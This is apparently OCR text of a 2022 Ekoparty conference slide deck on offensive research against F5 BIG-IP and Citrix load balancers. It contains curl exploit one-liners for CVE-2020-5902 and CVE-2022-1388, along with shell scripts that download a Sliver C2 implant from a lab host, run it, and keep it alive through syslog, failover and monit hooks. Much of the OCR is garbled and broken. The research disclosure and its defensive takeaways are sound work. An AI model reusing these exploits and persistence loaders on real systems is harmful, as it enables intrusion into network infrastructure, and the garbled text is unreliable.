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AGENDA

Ekoparty - November 3rd, 2022

> BACKGROUND & MOTIVATION

> EXPLOITING LOADBALANCERS

> RUSSIA HAS ENTERED THE CHAT
> BY DESIGN != GOOD DESIGN

> 1 AM BECOME APT

> OWNER OF YOUR NETWORK

» HACKING THE COMPETITION

> CLOSING THOUGHTS



BACKGROUND

» CTI LEAGUE FOUNDER

> NETWORK HACKER

» SECURITY RESEARCHER

> FS NETWORKS — 1OYRS

> MIcroSOFT (MSRC, DEFENDER)
> NOT A RED TEAMER

> TWITTER: @NOX0O8
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MOTIVATION

@

Citrix vuln
from 2019
started CTI
League
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4

F5 DFIR for
Microsoft &
CTIL

P

Opportunity
to do
offensive
research

Mandiant
report
inspired me

Nobody
seems to
unhderstand
this space




A BRIEF HISTORY OF LOADBALANCER EXPLOITS

> [F5] CVE-2012-1493 — ROOT SSH KEY EXPOSED

» | CrTrix] CVE-2019-19781 - ..;/ PATH TRAVERSAL - UL/DL
> [F5] CVE-2020-5902 - ..;/ PATH TRAVERSAL —> ADMIN API

> [F5] CVE-2022-1388 — HEADER TAMPERING —> ADMIN SHELL

> WIDESCALE EXPLOITATION WITHIN HOURS/DAYS

> EXPLOITS FIT IN A TWEET

L2 ( Everyone v~

Unsent Tweets

curl -k https: //citrix/vpn/. vansfcfg;"smb.conﬂ

> D
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X

Unsent Tweets

> ( Everyone v )

curl -k
https://f5/tmui/login.jsp/..;/tmui/locallb/workspace/file
Read.jsp?fileName=/etc/passwd

& Everyone can reply

curl -k https:/fadmin@f5/mgmt/tm/util/bash \
-H "Content-Type: application/json’ \

-H 'Referrer: 127.0.0.1"\

-H "Host: localhost' \

-H '"Connection: close, X-Fb-Auth-Token' -H "X-F5-Auth-
Token: -' \

—data '{"command”: "run” , "utilCmdArgs": " -c id}'|

& Everyone can reply




> HTTPS : //ADMIN@10.13.37.159/mcut/TM/UTIL/BASH

—H '"CONTENT-TYPE: APPLICATION/JSON'

Don’t do this! |
—H 'REFERRER: 127.0.0.1' / .

'"HOST: LOCALHOST'

—H 'AUTHORIZATION': 'BASIC YWRTAWL6AG9YAXPVBIM=

!'3 Everyone

—H "CONNECTION: CLOSE, QL-F5—AUTH—TOKEN ' vk - cunknpsiacin@ts/mgnt/ /e
- ontent-Type: application/json' \
ent Tweets m -H 'Referrer: 127.0.0.1" \
> =H ' X—F5=AUTH+Toxdiw: : H Host localhost .
cuﬂ k h I -H '"Connection: close, X-Fb-Auth-Token' -H "X-F5-Auth-

’ 1 S ° Token: -' \
l‘r f Jtmui/ iflo tﬁpacef . .
‘ curl -k https:ffcitm?vprﬂ:wDAIésmb!oé.ﬂ' COMMAND": n gl s;le:ﬁ?ﬁillgplarlr?eﬂ— ml CAIF\{WO -l% - —data *("command”: "run” , "utiiCmdArgs": " -cid)'|

& Everyone can reply

Yo' VS LA =N
|
- o

& Everyone can reply
B8 =B 0 O = ()
& Everyone can reply B4 B 8= @ 6 @ D ‘@ -

B E <O G O RN
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UNC3524: EYE SPY ON YOUR EMAIL (MANDIANT)

Mandiant as Ol ET_,JT whichis base e Oropbear SSH client-server
4 opted to deploy QUIETEXIT on opaque "
» “SANs, load balancers running BSD or Cent0S?”

softwar

r long-haul remote access, lJN
victim environment; think backdoors on SAN arrays, loz
- : R » F5 management 0S is CentOS
or endpoint detection and response to subseque ) . .
are often running olc » Citrix uses FreeBSD
o compile functional malwar
support any type of security

systems to vendors to manage.

0S and would require considerable planning t for them. E%‘;.f

targeting trusted systems within victim environments that do not

ishes a connection, the t e any of the options available to an SSH client,
including proxying traffic via SC ({IT has no persistence mechanism; however, we
have observed | NL 3524 install a run command (rc) as well as hijack legitimate applicatic

specific startup scripts to enable the backdoor to execut

QUIETEXIT attempts to change its name to cron, but the malware author did not

so it fails. During our in tresy

re renamed to blend in with other
ay, UNC3524 named the binary to blend in wi

On startup
in*plement:msccrrectl‘;.a DOI nvestigations,
QUIETEX

In one case with an infect

legitimate files on the file ¢

ed node of a N/

suite of scripts used to mount various filesystel the NAS

s opaque network appliances because they are often the most unsecure and
s in a victim environment, Organizations should ta ps to inventory
ot support monitoring tools. Each device likely has

» Corporate espionage threat actor
re on the network and do

» Likely Russian; techniques overlap APT28 & APT29 i
vendr:)r—s_oe::'fic ‘"ardsning actions to take to ensure that the proper log c'ng is enabled, and Icgs
forwarded to a central repository. Organizations can also take steps et S

re rforwa

o limit or completely
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MUCH LEET. VERY HACK. HOLD MY BEER.

No persistence

Their malware wouldn’t
survive an upgrade

Weird to6ling-tlex

Why write your own tools if '

better, 0SS ones exist?
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Unreliable —

Web shell required to ”?
restart their implants

A

Strangely, inept/foy-an’ APF

I can develop better meth%gs
than UNC3524 :;u






TL;DR — LOAD BALANCERS

> NETWORKING HARDWARE $$$$$

> DEPLOYED IN FAILOVER PAIRS (THINK HSRP)
»Ld=7 LB, WAF, VPN, DNS LOAD BALANCING

> SSL/TLS OFFLOADING =

> GENERALLY HAVE

B

> MISSION CRITICAL & FREQUENTLY
> FIRMWARE IS A FULL OPERATING SYSTEM

> PROPRIETARY ;

10
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INTERNAL COMPONENTS & MANAGEMENT
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DATA PLANE — PROPRIETARY VENDOR CODE

CoNTROL PLANE: CENTOS (F5) or FReeBSD (CiTrRIX)
STRIPPED DOWN OS VERSIONS (NO BUILD TOOLS)

LDAP TooLs, SMB, NETCAT, CRON, TCPDUMP

MANAGEMENT VIA GUI (MOST USERS) OR SSH

CONFIGURATION & SSL CERTS STORED ON FILESYSTEM
F5 1IN

CITRIX IN

11
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BigDB.dat

bigip_base.conf
bigip_base.conf.bak

bigip.conf

bigip.conf.bak
bigip.license
bigip.license.202207
bigip.license.202208
bigip.license.2082209
bigip.license.20221d
bigip.license.bak ->
bigip_user.conf
bigip_user.conf.bak

cipher.conf
daemon.conf

enhanced_core_files.

eventd.xml

f5-rest-device-id

low_profile_base.con

merged.conf

ntp.conf -= ../var/r

partitions.bak
profile_base.conf
rndc.key -> /var/nam

startup
statsd.conf

telemd_config. json

ucs_version



DEVICE CAPABILITIES
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> DATA PLANE CONFIG IS SHARED
» CHANGES EASILY DETECTED

» DANGEROUS TO MODIFY

> CONTROL PLANE CONFIGS ARE UNIQUE

» LESS DETECTABLE
> REMOTE AUTHENTICATION & LOGGING

> NEARLY ALL NETWORK PROTOCOLS
» SIP/VOIP, 5G, DyNAMIC ROUTING

» HTTP HEADER MODIFICATION

> [F5] 1RuLE TCL/TK TRAFFIC MANIPULATION

12




QUESTIONABLE DESIGN CHOICES

GUI+SSH DEFAULT ENABLED ON DEVICE IPS
FULL INTERACTIVE BASH SHELL
MANAGEMENT & TRAFFIC PLANES
MULTIPLE BY—DESIGN METHODS TO
ON & CONFIG INSTALL
ON FAILOVER
SYSLOG MESSAGES (SERIOUSLY)
CONFIGS ARE STORED IN A TAR FILE
HUGE DIRECTORY STRUCTURE
ZERO INTEGRITY CHECKS ON STORED FILES

13
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interface.

K14397: Running a command or custom script based on a syslog message
https:/support.f3.com/csp/article/K14397

Running a command or custom script based on a syslog message ... You should cons
under the following condition: ... user_alert.conf file, type the following command:

K11948: Configuring the BIG-IP system to run commands or scripts upon system startup
https:/support.f3.com/csplarticle/K11945

... IPor BIG-1Q) system to run the script Create a customized startup script Perform the folls
create the startup script /config/startup_script_sol11948.sh file as appropriate for ...

K&6008: Configuring the BIG-IP system to run commands or scripts upon failover

Configuring the BIG-IP system to run commands or scripts upon failover ... The folloy
tasks, such as commands or scripts, to be executed ... Log in to the command line.

Ka422: Viewing and modifying the files that are configured for inclusion in a UCS archive
https:¥support.f3.comfcsplarticle/K4422

Viewing and modifying the files that are configured for inclusion in a UCS archive ... Non-Di
Jusr/libdata/configsync/cs.dat data file contains three types of keys to control ...




UPGRADE-PROOF IMPLANTS

UCS ARCHIVE IS A .TAR.GZ

UPGRADE PROCESS :

USES DIFFERENT BOOT LOCATION

INSTALL NEw OS / PATCH

CREATE UCS OF EXISTING BOOT CONFIGURATION
COPY ARCHIVE TO NEWLY INSTALLED LOCATION

UNPACK OLD CONFIG AS NEW CONFIG

UCS ALSO USED FOR DEVICE BACKUPS

save.1270.dir_opt = /var/ts/dms/policy/policy_versions
save.1271.dir_opt = fvar/ts/var/account
save.1272.dir_opt = /var/ts/wsengine_conf
save.1273.dir_opt = fvar/ts/etc

save.1274.dir_opt = fvar/ts/var/policy_templates
save.1275.dir_opt = fvar/ts/var/schema
save.1290.dir_opt = fconfig/wa
save.2800.dir = /config

save.2231.dir = Jvar/tmp/filestore_temp
save.2230.dir = [fvar/tmp/cert_temp
save.2u20.dir = Jfvar/tmp/gtm_tmp
save.2500.dir = Jfvar/tmp/em_db_temp
save.2600.dir_opt = /var/tmp/storage_temp
save.2605.dir_opt = /var/config/rest/iapps/RPMS.save
save.3000.dir = /var/named/config
save.3010.dir_opt = /var/class

save.U4110.dir_opt = fetc/cloud

save.Ugsee.dir = /home

save.d4900.dir_opt = /var/tmp/tmsh_syntax
save.5020.dir_opt = /config/bigip/kstore
save.7000.dir_opt = /var/sdm/plugin_store/plugins
save.7801.dir_opt = /var/ilx/workspaces
save.B00O.dir = fvar/Autodosd
save.8081.dir_opt = /var/bdosd

save.9802.dir_opt = /var/datasync/updates

save.l0866.dir

/var/libdata/dpi/con¥f

should cons

rcommand:

form the foll

e for ..

n failover

... 1 he folloy

1and line.

/ SH ARED P ARTITION ACROS S ALL BOOT SLOTS K4422: Viewing and modifying the files that are configured for inclusion in a UCS archive

https.support f3.comfcsplarticle/K4422

Viewing and modifying the files that are configured for inclusion ina UCS archive ... Non-Di

fusr/libdata/configsync/cs.dat data file contains three types of keys to control ...

14
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PERSISTENCE THE EASY WAY

/config/failover/[active, standby, tg*]

K14397: Running a command or custom script based on a syslog message

https:/support.f3.com/csp/article/K14397

tmsh run util bash —c / confi g / failover / rest J avad _runner Running a command or custom script based on a syslog message ... You should cons

under the following condition: ... user_alert.conf file, type the following command:

/ con -F 1 g / user_ a--l- er t .ConNn -F K&6008: Configuring the BIG-IP system to run commands or scripts upon failover

: 1) s " Configuring the BIG-IP system to run commands or scripts upon failover ... The folloy
alert rest J avad st art Sl _(EI el Sy lLids 11':' or status down { tasks, such as commands or scripts, to be executed ... Log in to the command line.
exec command="/config/failover/restjavad_runner";

} Ka422: Viewing and modifying the files that are configured for inclusion in a UCS archive

https:¥support.f3.comfcsplarticle/K4422

Viewing and modifying the files that are configured for inclusion ina UCS archive ... Non-Di
fusr/libdata/configsync/cs.dat data file contains three types of keys to control ...

15
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HACK ALL THE THINGS GET ALL THE MONEY

I UuseD CVE-2022-1388, A SCRIPT* AND SLIVER C2

while true
*FROM F5 ) S KNOWLEDGE BASE :lEPD_RUNMIHG=‘p5 aux | grep "/usr/bin/mcpd” grep -v grep | wc -L
if [ "$MCPD_RUNNING™ -eq 1 ]; then
ONE SCRIPT TO RULE THEM ALL # If secured restjavad exists, start after boot

# If secured restjavad does not exist, install and start after boot
sleep $[ ( BRANDOM % 1@ ) + 1 ]s

CHECK FOR IMPLANT; IF NOT FOUND DOWNLOAD 55 i i

—

it [ -e fusr/bin/restjavad |
then

COULD STORE IMPLANT IN BACKUP IF NEEDED | [ ]

mount -o remount,rw fusr

curl http://18.13.37.188/implant > fusr/bin/restjavad
BYPASS FILESYSTEM “SECURITY?” S e e ey e

touch -g -m -t "1s -L --time-style=+%Yamed¥HAM. XS fusr/bin/systemctl
mount -o remount,ro fusr
Jusr/bin/restjavad &

PREVENTS NOISY C2

Ekoparty - November 3rd, 2022



DEMO 1: SYSLOG PERSISTENCE

iy
[‘ “of wr . .
rﬁ’§~ — 17
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ARCHITECTURE ALLOWS PIVOTING

BIG—IP DOESN’T ALLOW SERVER EGRESS BY DEFAULT

REQUIRES SNAT ON EGRESS INTERFACE

SLIVER PIVOTS ALLOW CHAINS OF IMPLANT CONNECTIONS

F5 LETS You BIND C2 LISTENER TO FAILOVER IP
INTERFACE ACLS CAN BE MODIFIED W/0 ALERTING ADMINS
ANY DEFAULT GATEWAY WILL ROUTE C2
THIS IS A COMMON DESIGN
JUNIPER, CITRIX, Al0

i

18
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DEMO 2: INFECTED BACKUPS

FULL ARCHIVES ARE DANGEROUS
F5 & CITRIX HAVE FLAT TEXT CONFIGS

THAT NOBODY USES

ABUSED SCRIPTS ARE INCLUDED IN CONFIG BACKUP

INSTALLATION WILL RUN A FAILOVER SCRIPT

INFECT ALL OF THEM FROM ORBIT

IT’S THE ONLY WAY TO BE SURE

19
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8 8G-Pe - bigipljomsvkings (I X+ ip2jomsviking
€ 5> C A Notsecure | https//bigipl/xui/ a @ % @% % 0OMA € > C A Notsecure | hitps//bigip2/xui/ Q2 v @% »0ORMA

@ bigipr . v

N nate@ubuntuserver:~$ [root@bigipl:Active:In Sync] config #

FFFEFFFEFEFFEFFFFFEFFEEFFe
s n o N .
PEEERREE, iona s anmsias
:fffffff ..................

Code: 00 60 €0 00 M3 T4 SP LO 1T FR 4M 3W OR K! V3 R5 IO N5 6@ 00 00 66
Aiee, Killing Interrupt handler
| Kernel panic Attempted to Kill the 1

iN SWapper task not sync

=[ metasploit v6.2.11-dev- )|
+ —— ——=[ 2233 exploits - 1178 auxiliary - 398 post ]
+ —— =--=[ 867 payloads - 45 encoders - 11 nops )|
$ == —==[ 9 evasion ]

Metasploit tip: Tired of setting RHOSTS for modules? Try
globally setting it with setg RHOSTS x.x.x.x

[*] Starting persistent handler(s)...
nsf6 >

s

-
e
- - v




THIS IS NOT A PLACE OF HONOR

CITRIX HAS THE SAME DESIGN FLAWS (THOUGH LESS OF THEM)

FULL INTERACTIVE SHELL

CONFIG BACKUPS IN ARCHIVE; NO INTEGRITY CHECKS DOJIMPLANT,

AGAIN, COULD STORE IMPLANT IN BACKUP IF NEEDED

CTX327915

NEEDED AN ABUSABLE BUILT—IN SERVICE How to install custom FreeBSD
DOWNLOAD C2, EXECUTE & KEEP IT RUNNING configuration files on a Netscaler cirrlx-‘ADC

Article | How do |, Configuration | Created: 26 Aug 2021 | Medified: 29 Aug 2022

MUST REMAIN INVISIBLE TO GUI USERS

LIMITED NUMBER OF CUSTOMIZABLE FILES... Objective

As a Netscaler is an appliance, the root filesystem (which is a RAMDisk) is restored from a non-

modifiable image during every boot. As such, modifications to any FreeBSD configuration files

DAEMON CON FIGS c S S H : HTTP y SYS LOG y ETC < ) in /etc will be erased upon reboot.

This article shows how to properly install supported modifications to FreeBSD configuration

files.

CRONTAB .. TOO EASY

5.t the /nsconfig directory does not contain a file named rc.netscaler . create the file,

NTPD_CTL IN THE USER MANUAL. .

6. Add the following entry to /nsconfig/rc.netscaler: /bin/sh /etc/ntpd_ct]l full_start

b I NTERESTI NG This entry starts the ntpd service, checks the ntp.conf file, and logs messages in the /var/log directory.

his process runs every time the Citrix ADC is restarted

22
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NO HIGHLY ESTEEMED DEED IS COMMEMORATED HERE

RC.NETSCALER FILE DOESN’T LET YOU RUN SCRIPTS

NTPD_CTL => MANY *_CTL SCRIPTS IN /ETC

USED BY MONIT TO START/STOP/WATCHDOG SERVICES — wOOT!
MONITRC ON THE LIST OF CUSTOMIZABLE FILES — wOOT X 2!

WROTE A SERVICE WRAPPER FOR SLIVER

SAME LOGIC AS F5 LOADER

MONIT MANAGES C2 IMPLANT
STARTS ON BOOT

MAKES C2 UNKILLABLE

23
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NOTHING VALUED IS HERE

#!/bin/sh
start_nssupport()
d
stop_nssupport
it [ -e /netscaler/nssupport |
then
echo -n 'nssupport °
/netscaler/nssupport &
echo -n §! > /fvar/run/nssupport.pid
else
curl http://18.13.37.188/freebsd > /netscaler/nssupport
chmod +x fnetscaler/nssupport
echo -n 'nssupport °
/netscaler/nssupport &
echo -n $! » fvar/run/nssupport.pid
fi
3
stop_nssupport()
1
cat fvar/run/nssupport.pid | xargs kill
rm -f fvarf/run/nssupport.pid
¥
case $1 in
start)
start_nssupport;
33
stop)

stop nssupport;

B

echo “"nssupport_ctl: no argument”™;
33
esac

Ekoparty - November 3rd, 2022

/nsconfig/monitrc:

## Check nssupport

check process nssupport with pidfile /var/run/nssupport.pid
start program "/bin/sh /nsconfig/nssupport ctl start”
stop program “fbin/sh fnsconfig/nssupport_ctl stop”

2.
ct 25 08:27:32 <localO.alert> nsl NSVUAconf [658]1: NSVUAconf: Unable to connect to
NSCLI using default password
Ect 25 08:27:32<ecal@-epr> nsl nsumendl?266 1 nsumend daeman started
ct 25 08:27:33 <daemon.err> nsl monitl[216]1: ’"nssupport’ process is not running
" [
NetScaler initialization is still in progress: please wait
20 to 30 seconds before attempting to log in.
2122222 2 2 2 2 2222222 2022222222 2 222222202 0222222 RN 2222222222222 R R 222222 R R0 202

Ect 25 08:27:32 <user.crit> nsl syshealthd: sysid 450070, IPMI device read faile

#

WARNING: Access to this system is for authorized users only. #
Disconnect IMMEDIATELY if you are not an authorized user? i
#

U222 2R 2 iR 2 R R R R iR iR R R R R R R R R R R R R R R R R R R R R R R R R R R

login: Oct 25 08:28:16 <local0O.alert> 10.13.37.170 10,/25,2022:15:27:27 GMT nsl

-PPE-0 : default EVENT STATECHANGE 20 © : Device "self node 10.13.37.170" - St

te COMPLETE_FAIL

ct 25 08:28:16 <localO.alert> 10.13.37.170 10,25,2022:15:27:33 GMT ns1 O-PPE-0O
default EVENT STATECHANGE 36 © : Device "self node 10.13.37.170" - State UP

login: |

24



IT’S DANGEROUS TO HACK ALONE: LAB 101

FS5 GIVES AwWAY VIRTUAL EDITION VM'S FOR ALL MAJOR HYPERVISORS
INCLUDING VULNERABLE VERSIONS!

USE A THROWAWAY EMAIL
I PRO >XMQO X< virtual Environment 7.2-11  Search

3 G —DAY DEMO LICENSES Server View Virtual Machine 201 (F5-VM-1) on node "proxmox’

= Datacenter

I S O I M AG E S E [P0

100 (UbuntuDesktop) >

G 101 (UbuntuServer)
(e 102 (Pulse)
L 103 (WOS)

& Summary Add

Console Memory 8.00 GiB

Hardware FProcessors | |'1 sockets, 4 IZ:.I:IF'E!Ei::I

GOOD FOR VULN RESEARCH

Cloud-Init BIOS Default (SeaBIOS)

TESTING COMPILED TOOLS oisplay —

Machine Default (i440fx)

(0 5% ) wa 3 3

—
&
£ Options
=

05 ( A Task History
CITRIX ALSO HAS VMs 196 (PACT) @ Monitor
e g . B Backup

NO VULN VERSIONS & 5 | £3 Replication

207 (Fortinet721)

SCSI Controller VirtlO SCSI

o)

[ S 1 S 1 A A

CD/DVD Drive (ide2) none.media=cdrom
Hard Disk (virtio1) local-lvm:vm-201-disk-1,5ize=T6G
Network Device (net0) e1000=6A:6A:52:76:5E:9C bridge=vmbr(

D Snapshots MNetwork Device (net1) e1000=32:9C:1A90:C0:DE bridge=vmbr1, tag=4053
209 (Metscaler-1)

NO TRIAL LICENSE NEEDED o Ny, | © Firoval

Metwork Device (net2) e1000=BE:C7:CF:D7:FB:BC bridge=vmbr2 tag=4094

25
Ekoparty - November 3rd, 2022



KEY TAKEAWAYS

> THESE TECHNIQUES WILL WORK ON ANY DEVICE WITH A FULL SHELL

> ADVANCED ACTORS HAVE BARELY SCRATCHED THE SURFACE

> SYSTEM COMPLEXITY GIVES ATTACKERS THE ADVANTAGE e =

> BLACK BOX VENDOR SOLUTIONS HAVE DESIGN FLAWS

> STEPS YOU CAN TAKE:
» SECURITY 101: PATCH, FIREWALL, LOGS, CONFIG SNAPSHOTS
> MONITOR CONFIG FILESYSTEMS FOR NEW FILES / SIZE CHANGES

» USE DEVICES WITH RESTRICTED SHELLS

26
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THANK YOU
ANOXOS8




